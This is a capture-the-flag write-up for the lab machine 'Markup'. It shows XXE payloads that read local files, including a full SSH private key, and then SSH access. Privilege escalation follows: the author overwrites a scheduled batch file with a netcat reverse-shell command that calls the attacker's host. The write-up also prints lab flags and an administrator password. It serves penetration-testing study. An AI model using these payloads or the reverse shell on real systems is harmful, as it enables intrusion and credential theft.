# Markup

XML External Entities (XXE or XEE) attacks, which are a type of vulnerability affecting web applications that parse XML input. XXE attacks can lead to various negative consequences, such as disclosure of confidential data or denial of service. The vulnerability exists due to misconfiguration in the XML parser on the server side. Markup is a machine that explores this vulnerability type through a website allowing user input to be parsed as XML.

Key Points:

1. XML (Extensible Markup Language) is a markup language with a set of rules for encoding documents in a human-readable and machine-readable format.
2. XML entities are a way of representing data within an XML document, using specific metacharacters instead of the data itself.
3. XXE attacks exploit a weakly configured XML parser to process XML input containing a reference to an external entity.
4. Consequences of XXE attacks may include disclosure of confidential data, denial of service, server-side request forgery, port scanning, and other system impacts.
5. XXE attacks can disclose local files with sensitive data, exploit client-side memory corruption issues, and access local resources that may impact application availability.
6. Markup is a tool that investigates XXE vulnerabilities through a website that parses user input as XML.

{% file src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FcP4P3TTZE0Ma84X99Nhi%2FMarkup_Write_Up.pdf?alt=media&token=c7736b27-7c4c-4611-b12a-6bfc21154a85" %}

## **TARGET IP -->** 10.129.95.192

## **HOST TUN0 IP --> 10.10.16.89**

### **Task 1:** What version of Apache is running on the target's port 80?

* First I'm going to run a quick nmap scan on the target to see all the ports that are open.

```
nmap [Target IP]
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FzAtdmZ7Q6DlgWACVUDO1%2Fimage.png?alt=media&#x26;token=27f25b80-4fe0-4286-9ddd-9778efcd521e" alt=""><figcaption></figcaption></figure>

* Ports 22, 80, and 443 are open. Next, I'll run a more detailed nmap scan on just those ports.

```
nmap -sV -sC -p 22,80,443 [Target IP]
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F5Z6rw4BASdy6rDIYhgVn%2Fimage.png?alt=media&#x26;token=b63ff2b4-0034-447b-a7c3-809bf8fc5a32" alt=""><figcaption></figcaption></figure>

* **Version 2.4.41** of Apache is being run. I can also try to verify this with Wappalyzer by visiting the page on a browser.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fd5O7VNkJJj1aCFrZflKH%2Fimage.png?alt=media&#x26;token=364cf1ec-e391-4116-a34c-f243d80b750a" alt=""><figcaption></figcaption></figure>

* Lots of other good information here as well such as the back-end programming language and the OS.

### **Task 2:** What username:password combination logs in successfully?

* I started by checking out the source code of both the port 80 and 443 pages. Nothing to note on either.
* I then tried capturing a packet being sent on the http page while using the credentials of admin:admin with burp.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FKiuLVcglvvdmBdcV5XSD%2Fimage.png?alt=media&#x26;token=29ef8ae4-502f-46b4-a393-80032a0cff56" alt=""><figcaption></figcaption></figure>

* I sent it to the repeater to try a few guesses.
* After a few guesses, I got the credentials **admin:password** to work.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FifnjAuyrojlxO4eCMzSF%2Fimage.png?alt=media&#x26;token=fe5affc4-3471-43b3-b383-8d0dcafa94ef" alt=""><figcaption></figcaption></figure>

### **Task 3:** What is the word at the top of the page that accepts user input?

* Looking at the home page, I can see that the tab called **Order** takes me to a page that accepts user input.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FDP16ZYvfxrsarJMBaX6t%2Fimage.png?alt=media&#x26;token=19d1ac52-a0a1-4e55-bac4-a0518884056b" alt=""><figcaption></figcaption></figure>

### **Task 4:** What XML version is used on the target?

* I started by first looking at the source code to the page which includes some JS for the function **getXml**. This includes a reference to XML Version **1.0**

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FNwLDiRKDVXKS1eSoCsRU%2Fimage.png?alt=media&#x26;token=f2a5b655-47ef-4c22-92ba-44816acece03" alt=""><figcaption></figcaption></figure>

* I also tried to capture a packet being sent out with Burp.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F7GQKJkj44Qn0f7nwkjux%2Fimage.png?alt=media&#x26;token=230fbabb-098e-410e-9cb1-15dd9bdc9834" alt=""><figcaption></figcaption></figure>

* Looks like it is running XML version **1.0**

### **Task 5:** What does the XXE / XEE attack acronym stand for?

* The acronym stands for **XML External Entity**

### **Task 6:** What username can we find on the webpage's HTML code?

* I checked the source code for the order page before and at the top in the comments, it shows a name of **Daniel**.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FN0dKSo2Iq4hOCkmUH4OL%2Fimage.png?alt=media&#x26;token=d4da6443-4002-489f-a11b-8d67c68e294f" alt=""><figcaption></figcaption></figure>

### **Task 7:** What is the file located in the Log-Management folder on the target?

* I first tried exploring [HackTricks](https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity) to see what examples there are for XEE attacking.
* I grabbed a script and tried inputting it into the request through the Burp Repeater.

```
<!DOCTYPE foo [<!ENTITY example SYSTEM "C:\windows\system32\drivers\etc\hosts"> ]>
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F8uwu0UASJUPhXRvhSqJj%2Fimage.png?alt=media&#x26;token=74374835-a662-41f3-8271-b57eba4b0b49" alt=""><figcaption></figcaption></figure>

* Unfortunately, I'm not sure what I got back.
* Next, I tried a different example.

```
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]>
```

* It looks like I had to add one of the elements into the item field as `&test;`

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fp5pA0L5eF7k19eXrtINH%2Fimage.png?alt=media&#x26;token=0f2e28c8-7a50-4d11-81b3-d68ceea72217" alt=""><figcaption></figcaption></figure>

* Now I will try that again for the previous link to see if that works.

```
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///C:\windows\system32\drivers\etc\hosts'>]>
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Ft4IaV8LDd7KkyQGwcbZy%2Fimage.png?alt=media&#x26;token=8508b995-9a10-40e5-b38a-e2289207c389" alt=""><figcaption></figcaption></figure>

* Unfortunately, it doesn't look like that directory exists.
* Since we know there is the possibility that a user named Daniel exists, let's check the user's `.ssh` folder for possible SSH private keys. I need to keep this folder's route in mind for future exploitation.

```
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///C:/users/daniel/.ssh/id_rsa'>]>
```

* It looks like the file directory exists with a private RSA key to the user Daniel.

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fh7uL6p7lEiKcTc3jkZJ4%2Fimage.png?alt=media\&token=d7896e51-9681-43ea-9862-3c8ab9ef8128)

```
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
```

* Since we have the private key, let's see if we can SSH into Daniel's account with it.
* First start by saving the private key to a file on your host machine called **id\_rsa.pem** using nano.

```
ssh -i id_rsa.pem daniel@[Target IP]
```

* Unfortunately, this doesn't look like it worked. Check below for how to make it work by changing permissions.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fo7yzz718EerrmiAPXuot%2Fimage.png?alt=media&#x26;token=54e29ecb-b422-45e9-9c51-c98a06e78ad1" alt=""><figcaption></figcaption></figure>

* Trying again, I need to change the permissions so that the key is accepted by SSH.

```
chmod 400 id_rsa.pem
```

* I now have access to the system through Daniel's account.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F7iSPavsZjesrC0l1GTWZ%2Fimage.png?alt=media&#x26;token=77d5f322-7ff6-4d11-bc06-aff39f03cf65" alt=""><figcaption></figcaption></figure>

* If I redirect to the **C:\Log-Management directory**, I will find a file named **job.bat**.

```
dir C:\Log-Management
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FrLR8mMUlcbbYWFc92w3B%2Fimage.png?alt=media&#x26;token=b4bc3ed7-5add-4f95-b213-0208f08a6761" alt=""><figcaption></figcaption></figure>

### **Task 8:** What executable is mentioned in the file mentioned before?

* Let's take a look at that **job.bat** file.

```
type C:\Log-Management\job.bat
```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FsyIuIqDR6lMaeayLNLnV%2Fimage.png?alt=media\&token=9368e80f-44da-4c99-85c7-a7f1af33a85e)

* There is an executable called **wevtutil.exe** in the bat file.
* This bat file clears all event logs on a Windows computer, but it first checks if the script is being run with administrator privileges.
* The **wevtutil.exe** tool is used to manage and manipulate Windows event logs from the command line.

### **Submit User Flag:**&#x20;

* Once logged in on Daniel's account, redirect to **C:\Users\daniel\Desktop\user.txt** to see the flag.

```
type C:\Users\daniel\Desktop\user.txt
```

* **032d2fc8952a8c24e39c8f0ee9918ef7**

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fl5opzBL6QI5o9Yt3Zn2V%2Fimage.png?alt=media&#x26;token=87d9be9c-df49-4193-8432-602939357e78" alt=""><figcaption></figcaption></figure>

### **Submit Root Flag**&#x20;

* Since we are currently logged in as Daniel, let's first start by seeing what privileges we have.

```
whoami /priv
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FPdzozfOJ1oHhTaKQTFWb%2Fimage.png?alt=media&#x26;token=4a8f10e1-ac70-4b71-8161-8468385d8550" alt=""><figcaption></figcaption></figure>

* Apparently, none of these privileges are exactly unique so let's explore the system to see what else we can do.
* Let's go back to the job.bat file that we had access to. It shows that only the administrator can run it but let's see if Daniel is part of any groups that have editing privileges.

```
icacls job.bat
```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F5OaYna77iPDKFLRU2nGO%2Fimage.png?alt=media\&token=4f2db5e0-dcb0-4646-b425-7467908fee42)

* Daniel is part of the BUILTIN\Users group which shows full control (F).
* Let's attempt to modify the script.
* First though, let's check to see if the **wevtutil** tool is running by using **schtasks** command.

```
schtasks
```

* If this doesn't work due to permissions, we can use the powershell to execute the command due to improper security configurations.

```
powershell
```

* Then run the **ps** command to see what processes are running while in powershell.

```
ps
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FbVKfd81ynALIQzyq3GbX%2Fimage.png?alt=media&#x26;token=1ad2d73c-2d9f-4cb9-984f-25bd06f51590" alt=""><figcaption></figcaption></figure>

* Looks like it is running with the ID 4648.
* Next, we will look into using netcat to gain a foothold.
* Let's start by downloading [**nc64.exe**](https://github.com/int0x33/nc.exe/blob/master/nc64.exe). Do this on your host system since the target system won't allow for an internet connection. It allows me to do it because I am on the same network as the machine.

```
wget https://github.com/int0x33/nc.exe/blob/master/nc64.exe
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fr9Nk8pGwkXvF3zfMu14I%2Fimage.png?alt=media&#x26;token=2ef3cabf-a10c-4eb8-a4a0-a9daea0b1f6d" alt=""><figcaption></figcaption></figure>

* Then let's start a python web server from the directory that you saved the nc64.exe to.

```
sudo python3 -m http.server 80
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FrrYDD6Qirc0L0KfZiOO8%2Fimage.png?alt=media&#x26;token=747f8538-e98a-4261-8650-3a7024f4d3a8" alt=""><figcaption></figcaption></figure>

* Let's now download the nc listener from the web server to the target machine using wget.

```
wget http://[HOST IP]/nc64.exe -outfile nc64.exe
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FIK1unYWsk8OT2Rx6ijar%2Fimage.png?alt=media&#x26;token=c8d19c21-10fe-40d1-9cf2-68229eabc58f" alt=""><figcaption></figcaption></figure>

* Let's start up a netcat listener on our host machine.

```
nc -lvnp 4444
```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FBcwkvKoxRDkclqtLyVc1%2Fimage.png?alt=media\&token=99f6d269-24ab-4016-90dd-99b23b808052)

* Next is to exit out of the Powershell window and back to CLI for Daniel.

```
exit
```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FcBJWUyER7dq3dUfzbErX%2Fimage.png?alt=media\&token=fe143dc0-e84a-4ba7-bd41-725bf505011f)

* Next we will modify the job.bat file to include the netcat listener with the following command.

```
echo C:\Log-Management\nc64.exe -e cmd.exe [HOST IP] [Netcat Listening PORT] > C:\Log-Management\job.bat
```

* It's a good chance this will not work. I tried multiple times but was not able to get a reverse connection to the administrator account.
* If you do get access to the administrator account, quickly navigate to the root flag using the following:

```
type C:\Users\Administrator\Desktop\root.txt
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fi8R4lPq0pC4PSypi11p2%2Fimage.png?alt=media&#x26;token=c76b5a8b-4dd7-421f-875d-5f69e62fdc7d" alt=""><figcaption></figcaption></figure>

* The root flag is --> **f574a3e7650cebd8c39784299cb570f8**

### WinPEAS

* We could also have run WinPEAS on the system to auto enumerate the machine to look for vulnerabilities. If we did that, we would have found auto-login credentials for the Admin.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F4gYEIB8dDYiyM79nCzbE%2Fimage.png?alt=media&#x26;token=5429eedd-aeba-4766-85b2-3acb3aa2513b" alt=""><figcaption></figcaption></figure>

* Administrator:**Yhk}QE\&j<3M**
* We could then use this to SSH into the system and get the flag.
